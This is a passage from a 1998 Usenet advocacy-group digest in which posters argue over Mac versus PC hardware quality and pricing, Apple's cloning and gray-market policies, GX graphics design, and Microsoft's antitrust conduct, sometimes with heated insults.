dollars here and there. Believe it or not, you can buy cheap pieces of
crap that cost *more* than quality name-brand hardware. You don't
necessarily have to spend a lot of money to get quality hardware. You
can get the current market-leading game video card in 2D/3D graphics
(Diamond Viper 330) for just over $100. That's peanuts.
What does this have to do with Apple? I should've gotten to it earlier,
but the point is that Apple doesn't have to whine about "SCSI costs too
much" and give us all EIDE instead. Apple could build NCR53C875-based
Ultra-Wide SCSI 3 controllers for almost nothing and stick high-quality
Quantum drives in their machines, and spend maybe an extra $50 to $70.
Big deal.
Not to mention the fact that using commodity PC components would save
money, instead of building its own ATI-based solutions. Why does Apple
have to do any more than simply adapt PC components to the PC
architecture? It doesn't, that's exactly what the cloners were moving
toward. Apple *does* more because that way it can *charge* more. The
majority of Mac fans will tell you Apple charges more because it has to.
Pardon me while I laugh my ass off. Apple charges more because it *can*
charge more. You'll pay it, too! Because you have an ideological
committment that transcends the concerns of the pocketbook (and most of
the cerebrum, as well).
> 7) The mouse port doesn't disconnect the mouse every once and a while
> for no reason.
> 8) has a CPU cooling fan that *is* plugged in.
> 9) doesn't slow the machine down while attpeting to spin up and empty
> CD-Rom drive 20 times a day
> 10)Has a case that can hold a normal monitor without cracking.
> 11)Has a keyboard that is doesn't feel like typing on damp newsprint.
> 12)Ships with the right video drivers (drivers that match the installed
> card)
Most of these mean nothing to me, because I build my own. If I have a
problem with my mouse it's because I made a mistake, not because I
bought a cheap shit motherboard or a cheap shit mouse (because I don't
buy either). Again, I don't pay any significant premium for the quality
of my hardware. As for assembly, that's not a hardware issue, it's an
assembly issue. If it bothers you that much, assemble it yourself. It's
ludicrously simple.
> I have seen clones with those problems in just the past few months. This
> kind of crap is typical of the ultra low price cloners.
Again, mostly due to poor quality assurance and poor assembly
operations. Nothing to do with the price of hardware.
> I agree to a point. I am willing to buy a g3 if it shipped with Rhapsody,
> and offered "just works" level of use. Right now I am holding out for
> CR1 to make up my mind. It had better be good hardware for me to give up
> upgrading my main NT machine.
Just being "wonderful, fantastic, mind-blowing" won't help Rhapsody get
me to buy a G3. Rhapsody would have to betray a completely new *Apple*
to lure me back into the fold.
Unfortunately for those prospects, they'd have to include things that
aren't likely to happen, like an open hardware spec, an Intel version of
the OS, widespread developer support, a *free* developer program, and
other minor "faith gesture" items like an X server and good online
documentation.
> Mac cloneing is dead, and I doubt that *anyone* would invest in it after
> UMAX reported those huge losses. And why do you care? Doesn't the x86
> world offer enough choice? You even have the choice of buying some very
> bad hardware.
No, no, no! There is never "enough choice". Choice is, by definition, a
multiplicity. I *want* a PPC choice. What's wrong with that? Anyway, all
I'm saying is that that's what it would take for me to pay Apple a
single red cent for its hardware.
Perhaps you're like my Luddite mother who believes that, at some point,
technology and choice have progressed far enough, and little effort
should be expended to advance either one. Geez, I'd like to think that
my whole career is about pushing the limits of both.
And I just don't understand why people like you push back so hard on
this issue...do you really think that it's to Apple's *benefit* to close
the hardware spec? I can't believe that this opinion is still
flourishing out there; it flies in the face of reality so
dramatically...
MJP
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: OPERATION "starlight"
Date: 1 Jun 1998 21:50:08 GMT
Message-ID: <6kv7mg$p34$1@newsfep3.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: leadership@apple.com,evangelist@apple.com
A MacInTouch reader quotes an Apple executive on the new "Searchlight"
program we noted previously: "We're going to find one or two of these gray
marketers, drag them through the courts and make it public. We're going to
fry them."
Ummm, Apple, maybe your lawyers were too busy harrasing web sites with
rhapsody and allegro screenshots to notice, but the supreme court has already
ruled on grey market reselling.
They specifically ruled that grey market items dont violate the copyright of
the product holder.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OPERATION "starlight"
Date: Mon, 1 Jun 1998 16:57:05 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980601165533.27965A-100000@ux9.cso.uiuc.edu>
References: <6kv7mg$p34$1@newsfep3.sprintmail.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <6kv7mg$p34$1@newsfep3.sprintmail.com>
On 1 Jun 1998 macghod@concentric.net wrote:
> A MacInTouch reader quotes an Apple executive on the new "Searchlight"
> program we noted previously: "We're going to find one or two of these gray
> marketers, drag them through the courts and make it public. We're going to
> fry them."
>
> Ummm, Apple, maybe your lawyers were too busy harrasing web sites with
> rhapsody and allegro screenshots to notice, but the supreme court has already
> ruled on grey market reselling.
> They specifically ruled that grey market items dont violate the copyright of
> the product holder.
I certainly don't know all the legalities, but perhaps they could be
gotten on charges of fraud. If Apple can demonstrate that these people's
fraudulent practices hurt its business, then they might well have a case.
Ryan Tokarek
<http://www.ews.uiuc.edu/~tokarek>
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Mon, 01 Jun 1998 15:54:56 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0106981554560001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net>
In article <6ktunk$a6t$4@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
:In <rex-3105982335250001@192.168.0.3> Eric King claimed:
:> : It is for conceptual and learning purposes.
:>
:> Not really, given a day or two, one could wrap up the entire GX API so
:> that it does implicit float->fixed conversions ala DPS.
:
: Uh huh.
Yes, uh huh. I wrapped up a good portion of the GX Graphics API in
Prograph to do this exact thing. It was a no brainer (and somewhat
necessary since Prograph couldn't support the conversion macros)
: No, I'm talking about the API. Don't tell me you think a API shim is a
:solution!
When you say like DPS, you're talking about an API shim anyway since
that uses fixed-point internally. Mapping coordinate systems just isn't
difficult. I wouldn't be surprised if Apple's new solution also shared the
same coordinate space limitations since they're aiming to be compatible
with PDF and Postscript.
:> pretty darn trivial. A far more interesting topic to discuss would be
:> whether or not the 2D API should use NURBS like Taligent's graphics system
:> or stick with Beziers. That would have a hell of a lot more impact for
:> developers than the scaling issues you're talking about.
:
: Obviously Beziers, the world has chosen.
The 2D world perhaps, but the 3D world is moving to NURBS in a *big*
way. NURBS are much more fun to work with, and there exist very robust
methods for converting them to Beziers for Postscript output.
: No you DON'T have to scale. IT _may_ have to. Geez.
But that might not even be what people want. The screen coordinate
system is usually described in terms of 1/72" points. 3D objects are often
described in real world units like meters or feet. Odds are *you* or the
user is going to want to scale. The system can't know if you want a 40
foot submarine to be 40 points wide or 400 in a viewport.
-Eric
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 01 Jun 1998 22:11:28 GMT
Organization: gte.net
Message-ID: <6kv8d9$hkj$1@gte1.gte.net>
References: <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk> <35779ed6.7238238@news.supernews.com> <6kkg8n$2h7$1@gte1.gte.net> <35788a6a.84365222@news.supernews.com>
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On Sun, 31 May 1998 17:54:09 GMT, someone claiming to be T. Max Devlin
wrote:
>rfelts@. (Roger), on Thu, 28 May 1998 20:22:43 GMT,
>On the other hand, when the claim is not extraordinary, such as if I
>were to suggest that Microsoft application programmers have access to
>information and interaction with the operating system much greater than
>available to most app developers, or if you were to say that Microsoft
>was the first operating system to use a Registry (or any other technical
>point, which I don't recall you ever even remotely approximating, your
>messages generally being devoid of technical content aside from legal
>technicalities), then it is commonly assumed that a response of "prove
>it" is simply a lack of any response at all. If I have to prove to you
>that Microsoft has ever acted unethically every time we discuss their
>newest unethical behavior, I cease to have any need to discuss anything
>with you, though you may still provide entertainment as a flame target.
But have you ever responded to any technical issue I have raised? And
because you find a particular statement reasonable does not mean that
it is. After all you find is reasonable to vent you spleen on folks
that have done nothing more than question you assertions. Point to a
time when I have done the equivalent of asking that you "prove to you
that Microsoft has ever acted unethically * every time * we discuss
their newest unethical behavior," (emphasis mine) or even * anytime *,
except when I repeat a request for information that has not been
fulfilled, in response to the same claim being made again?
>>>Or maybe you're just a Department of Justice lawyer looking for ideas.
>>>If you needed help, Dave, you could have just asked. I'll be happy to
>>>provide some consulting and investigation to "substantiate your
>>>argument. Give examples, technical references, whatever. Please explain
>>>to me why, despite the integration level, Netscape can't simply
>>>implement the same documented interfaces and replace the pointers in the
>>>Registry". For a fee.
>>Okay, lets agree on a figure. But when you can't, you agree to pay me
>>a like amount, 'kay?
>Sure. How about $100,000? All I have to do is provide a documented
>example of Microsoft app developers having greater access to OS
>developments, or explain why Netscape couldn't revise their entire code
>base to account for Microsoft's brand-new/designed-for-IE interfaces and
>still remain competitively profitable? Are you sure you know what
>you're getting in to here, Roger?
>
>If I accept this engagement, will you give me your real email address?
No. What you have to prove is your claim that (from message
35779ed6.7238238@news.supernews.com ) where this challenge originated:
"Netscape can't simply implement the same documented interfaces and
replace the pointers in the Registry"
Not won't. Not don't want to. Not be difficult to support.
* Can't *
As in technically impossible.
Yes, I know what I'm getting into. That's why I suggest that the
challenge officially be considered offered and taken when we each
supply our challenge committee (three members appointed by each of us,
at least one from each a regular poster to these groups) proof that
the fee has been deposited in escrow. Said committee to review your
proof and my rebuttal of same and determine which has the more
technical merit (of course, we'll also post it here, and see what
comments might be generated.) Said determination indicated by a
two-thirds majority of the committee. And any additional conditions
(above what you and I agree to in the next couple of exchanges here)
also to be considered binding upon a two-thirds majority vote.
Are * you * still game?
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 1 Jun 1998 23:04:59 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6n6csr.a9v.sal@panix3.panix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net>
On Mon, 01 Jun 1998 21:41:50 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> Apple is not a "no-name" cloner that competes totally on price.
>You're butting right up against my point: Apple's quality may be on the
>high level of hardware, but even when compared to similar-quality
>hardware in the PC market, it falls short in price. In fact, many Apple
By how much? When you compare major name brand PCs to Macs in price, the
prices are not that far off. 5% to 10%.
Do I think Apple should lower prices? Yes. Do I think they should lower
quality? Hell no! I want a machine that is as well built as my old
SE/30 was. (and have it last 5+ years with only minor upgrades)
>I owned an AppleVision 1705 for a while. It was one of the shittiest
>monitors I ever owned. The base broke within a few months of ownership,
I don't doubt that Apple made some really bad products. I think that is
why Jobs killed off some parts of Apple and moved to buying parts from
OEMs. I would hope that Apple would just hire Sony or NEC to build
monitors rather than build crappy ones themselves.
>> Define "high-quality" (Don't bother, this is highly subjective and meant
>> only has a retorical question)
>Wait. Are you _just_ being rhetorical, or are you specifically disputing
>my claim that clone hardware was "high-quality"?
I am not disputing that _you think_ that the cloners built high quality
hardware. You and I may have different ways of measuering quality.
>> This kind of
>> stuff is _typical_ of the bare-bones cloners. The "quality" cloners rarely
>> suffer from this kind of crap. That's why they tend to cost more.
>Of course it is. Then again, my brother bought a rock-bottom-priced
>Quantex machine that I would grant "reasonable" quality. The only thing
>that's *ever* gone wrong with that machine was that his power supply fan
[CLIP]
I has a DeLL machine that I swapped up from p-133 to AMD-k6 without any
problems. I also added an internal Zip drive and added a PCI video card
to replace the built in video. It probly cost $200 to $250 more than the
Quantex, but I think it was worth it just to know that I can expand it
and not have to worry about the power supply failing. Why include all
those bays and slots it the PS can't handle it?
>> I am willing to pay more to know that my machine:
>> <music="something creepy sounding">
>> 1) Won't have ISA slots that are blocked by the CPU fan.
>> 2) Won't have an IDE ribbon cable blocking the power supply fan
>All you have to do is look inside the machine. You don't have to pay
>more to "know" this. You have the right to ask your salesperson to open
>the machine; they'll do it if you insist.
Sure. And this will cut a bunch of low quality machines out of the
running.
>> 3) The on board "soundblaster combatible" sound works
>Simple; buy a machine with a brand-name card. It's not hard to know the
For a few dollars more.
>> 4) The built in modem card isn't blocking any memory slots
>More of the same; just look inside.
>> 5) The "ne2000" network card can autodetect 10bT or AUI correctly.
>I hope you're not buying an NE2000 network card, not 12 years after the
>original design. Your manufacturer should be selling you an Intel, 3Com,
Long story. We had a network package that runs from DOS that required
an ne2k card. Some are more ne2k than others.
>> 6) PnP "just works" and doesn't find some magical bit of hardware after
>> every cold boot
>This is the mysticism perpetuated by the crappy manufacturers you're
>describing, yes, but it is totally unnecessary. If you simply identify
Isn't it worth the extra QA to know that this isn't going to happen?
>1) Don't buy a "sound card". Buy a "Diamond Multimedia M80" or buy a
>"Sound Blaster AWE 64 Gold" or buy a "Guillemot MaxiSound Home Theater
Ca-ching!
>2) Don't buy a "100 Mbps ethernet card", buy an "Intel EtherExpress Pro
>10/100+" or buy a "3Com 3C905 Vortex", buy whatever, but *don't* buy an
>"ethernet card".
Ca-ching!
>I know you're going to say "name brand costs more", but you're thinking
>of hundreds of dollars while I'm talking about literally five and ten
>dollars here and there. Believe it or not, you can buy cheap pieces of
----^^^^^^^^^^^^^^^^^
It addes up.
Sound card: $ 20
net work card: $ 20
Video: $ 20
better monitor : $50
Bigger PS: $ 20
...
That ends up adding 5% or 10% to the price.
>Not to mention the fact that using commodity PC components would save
>money, instead of building its own ATI-based solutions. Why does Apple
They are moving to AGP. Replacing ADB and Mac rs422 with USB. I think
Steve is way ahead of you in this area.
[list of horrors clipped]
>Most of these mean nothing to me, because I build my own. If I have a
What about the 99.99% of users that don't?
>buy either). Again, I don't pay any significant premium for the quality
Define "significant" 10%? 1%? I'd like to see prices. Where can you get
a quality mouse for $10? Or a "high quality" keyboard for under $20?
I think you *HAVE* to pay more for better quality. I have never found
that to not be the case. Basic economics is on my side. If two products
are the same price, but one is of a higher quality then demand will shift
and prices along with it.
>> I have seen clones with those problems in just the past few months. This
>> kind of crap is typical of the ultra low price cloners.
>Again, mostly due to poor quality assurance and poor assembly
>operations. Nothing to do with the price of hardware.
QA costs money. Quality assembly costs money.
>Just being "wonderful, fantastic, mind-blowing" won't help Rhapsody get
>me to buy a G3. Rhapsody would have to betray a completely new *Apple*
>to lure me back into the fold.
That puts you in a group with 10+ million members. Welcome to the club :)
>Unfortunately for those prospects, they'd have to include things that
>aren't likely to happen,
>like an open hardware spec,
Not going to happen. (And I don't see the point, since Apple isn't
going to open up "zero-royalty-cloning" after killing cloning once
before. That would be nuts.)
>an Intel version of
>the OS,
CR1 will ship for Intel. I doubt that Carbon will ship for Intel, so
no MacOSX. As for other plans...
> widespread developer support,
Carbon? There will be a lot of stuff from the MacOS and NeXT worlds
shipping for Rhapsody/MacOSX
> a *free* developer program, and
gcc? CodeWarrior Lite for YB?
>other minor "faith gesture" items like an X server
I would like to see a "goodies" CD with stuff like this, but it will
be 3rd party stuff and not from Apple.
>and good online
>documentation.
It has *very* good online docs in PDF format. And on the web site.
>> Mac cloneing is dead, and I doubt that *anyone* would invest in it after
>> UMAX reported those huge losses. And why do you care? Doesn't the x86
>> world offer enough choice? You even have the choice of buying some very
>> bad hardware.
>No, no, no! There is never "enough choice". Choice is, by definition, a
>multiplicity.
Law of diminishing returns? At what point does having twice as many choices
become less than twice as good?
> I *want* a PPC choice. What's wrong with that?
Apple is not going to sell clone licensees. I don't think Steve want to
deal with them. And I think Steve feels it is a "no-win" situation.
I for one could care less.
>Perhaps you're like my Luddite mother who believes that, at some point,
>technology and choice have progressed far enough, and little effort
>should be expended to advance either one. Geez, I'd like to think that
I am hardly a luddite. And I don't care if you eat you veggies. So I doubt
that I have much in common with yout mother. I do think that at some point,
having more choices becomes less interesting. (law of diminishing returns)
Having a choice between 10 and a 100 is a big deal. Between 1000 and 10000
is less of a big deal.
>And I just don't understand why people like you push back so hard on
>this issue...do you really think that it's to Apple's *benefit* to close
>the hardware spec?
I don't see how it is to Apple's benefit to open it. I think Apple should
have worked on OEMing to lower prices. Cloning did little (or nothing) to
increase Apple's market share. In fact, market share shrank while QA costs
went up.
--
sal@panix.com Salvatore Denaro
Date: Mon, 01 Jun 1998 19:45:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OPERATION "starlight"
Message-ID: <joe.ragosta-0106981945120001@elk50.dol.net>
References: <6kv7mg$p34$1@newsfep3.sprintmail.com>
In article <6kv7mg$p34$1@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> A MacInTouch reader quotes an Apple executive on the new "Searchlight"
> program we noted previously: "We're going to find one or two of these gray
> marketers, drag them through the courts and make it public. We're going to
> fry them."
>
> Ummm, Apple, maybe your lawyers were too busy harrasing web sites with
> rhapsody and allegro screenshots to notice, but the supreme court has already
> ruled on grey market reselling.
> They specifically ruled that grey market items dont violate the copyright of
> the product holder.
And how do you know that Apple's going after them for copyright issues?
The actual charge wasn't clear from the Macintouch blurb.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
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Newsgroups: comp.sys.next.advocacy
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 15:45:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1987CCF-F6510@206.165.43.178>
References: <slrn6n62dn.2f4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>
>Great. Write a file-interchange format and library for three-d
>perspectivized text, and put it under the LGPL.
There already is such a thing. It's called GX. The GX flattened shape file
format is identical to the GX print-file format except that fonts are
included in the latter. Both allow editing of all features of GX graphics.
ALL of them.
BTW, the standard PDF format includes (I believe) a way of editing text
that has been rotated, skewed and translated, since these are standard
PS/QDe operators. GX just adds a 3rd column to the transform matrix. Are
you suggesting that this extra column of numbers is a terribly big deal to
support in Apple's own internal format or that conversion to PDF would lose
image fidelity?
At least one DTP person has already indicated that they'd like to see
editable perspectivized text in a high-end DTP app like PhotoShop. Just
about every person that writers personal letters or creates
posters/greetings cards would like to use this. It is a requirement of
high-end products to allow one to apply perspective to text and a desired
feature for the low-end and both would benefit if they could *edit* the
text.
And it points out a flaw in Apple's image file solution if the proposed
file format (PDF) can't handle it and Apple is unwilling to implement it
because it doesn't fit with the proposed file format.
If the high-end would like to use it and so would the low-end, and Apple
can provide it and doesn't, then there is a flaw in Apple management: they
aren't giving the customers what they want.
As for your example of what capabilities YOU would like to see in an image,
ask yourself this: how many users, high/middle/low-end care about that
feature? If you presented it to them, would they understand it? EVERYONE
understands perspectivized text. About 1 billion people have seen it in the
narrative of Star Wars so you don't even have to show them what it is.
And most people think that it is a cool effect and would like to have it
available.
Ask them.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 02 Jun 1998 01:44:09 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35755632.7846464@news.supernews.com>
References: <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk> <35779ed6.7238238@news.supernews.com> <6khn2t$o63$1@news.ox.ac.uk> <3587a72f.21054979@news.supernews.com> <6kpuf1$dlm$4@gte2.gte.net>
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rfelts@. (Roger), on Sat, 30 May 1998 21:52:56 GMT,
>On Thu, 28 May 1998 18:11:03 GMT, someone claiming to be T. Max Devlin
>wrote:
>
>>Hate to be the one to burst your bubble, David (not), but "technical
>>experience" _is_ "gut feeling". You think we have time for scientific
>>accuracy? Do you *think* that we have access to any of the source code,
>>and the time to go through it to prove something we _already_ know to be
>>a _fact_. This is not supposition, just because we can't cite you
>>chapter and verse...
>
>Okay. I get it. You think that with out source, you can't program
>for Windows.
No. I _know_ that _with_ source, it is _easier_ to program for Windows.
I never said that source would help any trivial app. But for the
large-scale integration necessary to compete with Microsoft applications
on Microsoft's own operating system, to suggest that Microsoft does not
have anti-competitive access to the source code is just unreasonable.
>
>You're wrong. And it is supposition (incorrect supposition at that,)
>since you cannot provide any proof and proof to the contrary is freely
>available.
Is this the whole damn message? "You're wrong?" I would have expected
you to pick apart my "gut feeling" "argument". I would have hoped you
had the trollsomeness to avoid the obvious "I get it; you think..."
rinky-dink stuff, and get down to serious make-believe. If you are
going to make up lies about what I suppose, said, or think, you could at
least have the balls to go one single solitary reply without invoking
the "you cannot provide proof" "logic". I cannot provide proof for an
{incorrect} supposition I was wrong when I thought something I never
thought?
What makes this reply really ludicrous is that I _could_ provide proof
that "without source, you can't program for Windows" for any one of a
hundred examples, on the theory that all I would need would be a
documented case where a possibly critical functional call did not work
exactly as documented. Without source, you see, we can't really know
which of these choice DLLs we'd like to replace first....
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 02 Jun 1998 02:11:13 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35765955.8649817@news.supernews.com>
References: <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k8dee$a9h$1@nargun.cc.uq.edu.au> <35719045.3508921@news.supernews.com> <6kkgac$e0l$13@gte2.gte.net> <35768319.82491925@news.supernews.com> <6kuue2$an9$1@gte1.gte.net>
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rfelts@. (Roger), on Mon, 01 Jun 1998 19:20:59 GMT,
[...]
>>>What of his statement above is incorrect? Or are you just taking
>>>another opportunity to engage in gratuitous personal attacks?
>
><snip>
>
>>If you can give me any concise description of what specifically the
>>statement "They can set Netscape to the default browser, but they cannot
>>change the default startup procedure - I would consider this a valid
>>"condition" no matter *what* the OS was" then I'll be happy to point out
>>exactly which parts are incorrect.
>
>Unlike your statement above, Chris' is in grammatically correct
>English. Or is that what's throwing you? Which words don't you
>understand?
Far as I can tell, the only problem is that I forgot to change the
embedded double quotes to single quotes, and maybe you want to quibble
about the capitalization. Are you having trouble keeping up? Are you
planning on responding to the statement? ;-/
>
>>My approximation would be "they can
>>install Netscape, and associate it with .htm, but they cannot add the
>>Netscape icon to the desktop."
>
>This is not what Chris has said.
Did I say it was? I said that was my approximation, didn't I? Are you
planning on commenting on the content of the statement?
>
>>If this is accurate, then the idea that
>>his is a somehow OS-independant description of software relationships
>>should be self-evident. The idea that it would somehow be "valid" for
>>_any_ operating system simply characterizes the thinking of a Microsoft
>>apologist.
>
>Ah, here we go -- here's the breakdown. Chris (correct me if I'm
>wrong here, CS) is not saying that there is a technical reason for the
>initial boot to be left alone.
>
>He is saying that it is a reasonable condition specified by the
>publisher, and that it would be a reasonable condition regardless of
>the OS (and by extension regardless of publisher.)
Thank you for the clarification. I did not say it was a technical
reason, either. But this obviously is the crux of the matter. My
question is, why? I know that using the word _publisher_ (instead of a
more accurate term, like software developer) is meant to illustrate your
reasoning, and I believe you are trying to say "why couldn't the New
York Times be allowed to display their banner?" And when it comes to
banners, I can quite well agree.
This ain't the New York Times. This is software. I see no reason to
dispense with technical reasons for how we build software (there are
plenty the market can still supply even if it is disfunctional) and act
as if marketing issues do, in fact, have technical merit. Far as I know
the only reason anyone would ever want to buy software is to use it. I
recognize it might seem odd that I think there's no reason to allow
people to treat what software they have as a status symbol or penis
substitute. But if this were a matter of deciding what the screen looks
like on the first boot, and if that were so bloody all-fired important,
then let Microsoft include some functionality for that kind of useless
crap. If they want to make their software as disfunctional as their
market to augment their advertising campaign, I say all power to them.
_*AFTER*_ they've been dealt with for anti-trust.
This legal maneuvering about the first boot screen is just another
pathetic charade by Microsoft, because they know damn well that it is
not worth it to even write the stupid batch files to try to re-arrange
things after first boot. They are once again placing the onus to catch
up to their crappy programming, and then saying the _government_ is
trying to squelch innovation, because they're _making_ MS do all these
stupid things, when really the gov't just wants MS to _stop_ acting
anti-competitively, not to keep making up more reasons to do so.
>
>It's a marketing, eye-share thing and not a programming thing.
>
>Clearer now?
Yea, real clear. Why the hell do you think I think it is a stupid idea
and just another Microsoft scam? It's fucking _amazing_ what you guys
will apologize for, isn't it?
>> [a random "according to the contract, that is correct" response to an
>>unrelated argument]
>
>>>Glad to see you finally acknowledging this.
>
>>Never claimed otherwise, you pathetic trolling moron.
>
>Then if you have always acknowledged it, why did you, in message
>3561b544.8450764@news.supernews.com , say:
>
>"Until you can furnish some specific text from this mythical license
>which says what icons go where, I suggest you recognize that those
>people who _have_ seen OEM licenses don't recall seeing anything in
>there restricting a PC vendor from making their PCs work the way they
>want. I mean, we all know that Microsoft doesn't allow OEM to build
>multi-booters with their OSs, which is bad enough. But you are just
>_assuming_ that there's anything about whether Calculate must be
>included or the Trashcan icon can't be touched..."
>
>or in message 355b9a25.86044126@news.supernews.com, state:
>
>"Do you have some details? Maybe the text of the clause in question,
>or even a reference to materials in the current legal cases? I may be
>wrong, though I surely think if there were such a clause this case
>would not still be moving along."
>
>Not to mention the very first time you called me a troll (Sigh.
>Remember? I hope it was as special for you...) and the ad hominems
>which followed?
>
>I await your apology. Surprize me and own up to it.
I'm still trying to figure out what you think I said to begin with that
contradicted these two statements. Something tells me it isn't quite
the same issue. Let's check... <another ten minutes wasted teaching a
troll a lesson he'll never learn>
[From 6kkgac$e0l$13@gte2.gte.net:]
>>>[...] System vendors can
>>>already pick & choose software to install, stick on the desktop, add to the
>>>Start menu whatever, they just can't *remove* things from the *first*
>>>bootup.
>>
>>According to the contract, you are correct.
Doesn't seem to... No Wait! I get it.
[ironically, Roger included this quote in his post]
>>I wonder how many OEMs
>>would agree with your charity concerning Microsoft's tactics,
>>considering several of them were putatively threatened with losing their
>>Windows licenses if they included, displayed, removed, or modified
>>certain icons, et al.
OK, same contract, different discussion. I still don't have the full
thread, or the time to continue this waste of bandwidth, but can I
mention that you have never provided the contract text I requested, and
now that I am simply assuming that it exists to make a further point,
no, there's no way I'm going to apologize to a troll for crap like this?
[...]
>>>I agree -- why would they need to publish their code for a program to
>>>be written? I could write a batch file to do the kinds of things that
>>>have been discussed here.
>>
>>Beyond general and generally useless statements like that one, and
>>constant (and mostly inappropriate) calls for citations and evidence
>>meant to distract and annoy rather than investigate and discuss, what
>>the hell purpose do you believe you are serving here on Usenet, Roger?
>
>How is it useless? I * could * write a batch file to do what was
>mentioned. No source code needed.
>
>As to the "But why (would a vendor want to write such an animal,)"
>very simply because it allowed them to stick to their contract and
>still be able to do whatever they felt they had to to differentiate
>their offering of the OS.
>
>And my purpose? To point out that you continue to make unfounded
>statements and have almost never bother to back them up, nor
>acknowledge that you cannot.
>
>I'm tempted to ask you -- beyond gratuitous insults and dramatic
>presentation of your ignorance on a variety of subjects, what purpose
>do * you * serve here on Usenet -- but I would not be so pompous as to
>think I had any right to.
>
>>I have to admit, I would _love_ to waste *way* more time than I can
>>afford just responding to your ludicrous lack of rational thought and
>>logical thinking, your trollish and repetitive behavior designed solely
